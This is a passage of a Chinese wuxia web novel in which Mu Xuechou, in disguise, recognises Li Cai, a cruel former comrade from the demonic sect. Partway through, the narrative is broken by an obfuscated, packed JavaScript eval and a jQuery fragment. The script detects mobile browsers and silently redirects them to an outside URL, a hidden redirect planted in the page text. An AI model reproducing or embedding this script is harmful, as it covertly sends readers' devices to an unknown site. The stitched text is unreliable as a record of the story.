慕雪稠对金衣人的武功路数极为熟悉。虽然他们的装束与从前魔教的黑衣不同,但走路的步伐、挥刀的姿势,与洗花宗出来的打手几乎毫无二致。
难道魔教势力再度兴起?这个猜测令慕雪稠心下一沉——当初中原东辰势力进入西离时,分明已将魔教彻底剿灭,照理说该死的人都已经死光了。
即便真有漏网之鱼,凭着小鱼两三只又怎能在短时间内占据醉乡楼?还培养出来这般多的魔教打手?就算这些金衣人是死士也不可能——慕雪稠看过金衣人的眼神,那是活人的眼神,虽然没什么光彩,但还是有感情流动的。
慕雪稠冷冷地看向台下。
金衣人迅速斩断空中纠缠的银丝,在银丝落地,万物寂静之时,忽然听见了什么指令,又整齐退至庭院两侧。
看着武功招式愈发熟悉,慕雪稠抓住椅子的扶手,指印都要被掐出来了。
满地残肢仍在冒着热气,金衣人却如同傀儡般静立不动。约莫半盏茶工夫,后方终于传来脚步声。
慕雪稠用薄纱覆面,不敢露出真容,就怕来个熟人。
虽换了女装扮相,但若遇上旧识,难保不被认出。如今他武功尽失,若被跟他有仇的人识破身份,即便是王思明在一旁,他也不敢保证自己性命无虞。
他紧紧地盯着后门微张,看着一个熟悉的身影跨过门槛时,慕雪稠呼吸微滞。
来人比记忆中苍老了一些,但长相并没什么变化,他还是没忘记当一个儒雅书生的理想——照例一袭青绿长袍,身躯薄薄的一片,几乎一阵风就能吹倒他,发髻用玉簪束得齐整。
任谁都想不到这儒生装扮的男子,实际上大字不识一个,他写字都只能写一到三,四就不行了,他记不住。
读书写作不行,但是这个狠人剜人身上的骨肉做水煮肉片倒是很擅长。
"李采..."慕雪稠喊出了他的名字,又闭了嘴。
他跟李采挺熟的,而且可以确信李采一眼就能认出他来。
李采比他大一点,比他活泼。
是暗阁六楼楼长,从十一岁那年开始就是楼长了,一直到十八岁,他还是楼长。
慕雪稠从前跟他住过一间屋,李采在煮水煮肉片的时候还分了他一碗,但是慕雪稠没吃。
他知道水煮肉片的原料,此地缺衣少食,就算是吃树皮都正常,不正常的是吃人肉。
李采从小就以自己的个人欲望为最优先,为了达成自己的目的、自己的欲望可谓是不择手段。
他没有羞耻心,为人的底线极其低,可以为了一块烧饼出卖身体,然后恬不知耻地跟人讨价还价要求三个烧饼。
当然,这不能怪他,魔教就是那个鬼地方,有羞耻心只会活得很痛苦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146489|157148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在李采十五岁那年,他遇见过一个书生。
书生是为了躲仇家来到西离的,被悬赏了二十两银子。
教主派他去随便解决一下这个书生。
李采去了。
去了三天,才回来。
照理说解决这样一个普普通通的书生可能半盏茶都不用,但是李采用了三天。
慕雪稠过李采:“为什么解决这样一个人要三天的时间?”
李采没脸没皮笑嘻嘻地说道:“我挣扎了一会儿。”
慕雪稠问:“为什么挣扎?”
李采的眼神没有半分的留恋和不舍,也没有半分的愧疚,他说道:“哦,那个书生说他觉得我好可怜啊,居然想要拯救我,带我离开西离,但是我那时在想要是完成不了任务就会被教主打。”
慕雪稠想过,如果那个书生真的有能力带他离开,李采也会毫不犹豫地跟他走,李采纠结的三天,或许是在考量书生到底有没有隐藏的实力。
结果显而易见,书生就是书生,手无缚鸡之力的书生。
不过自那之后,李采就开始喜欢打扮成书生的模样了。
那时王璃已经当上了教主,作为教主小舅子的慕雪稠日子过得好一些了,也懒得理疯疯癫癫的李采了。
没想到就让他活到了今天这个时候,看样子威风凛凛的,活得还非常好。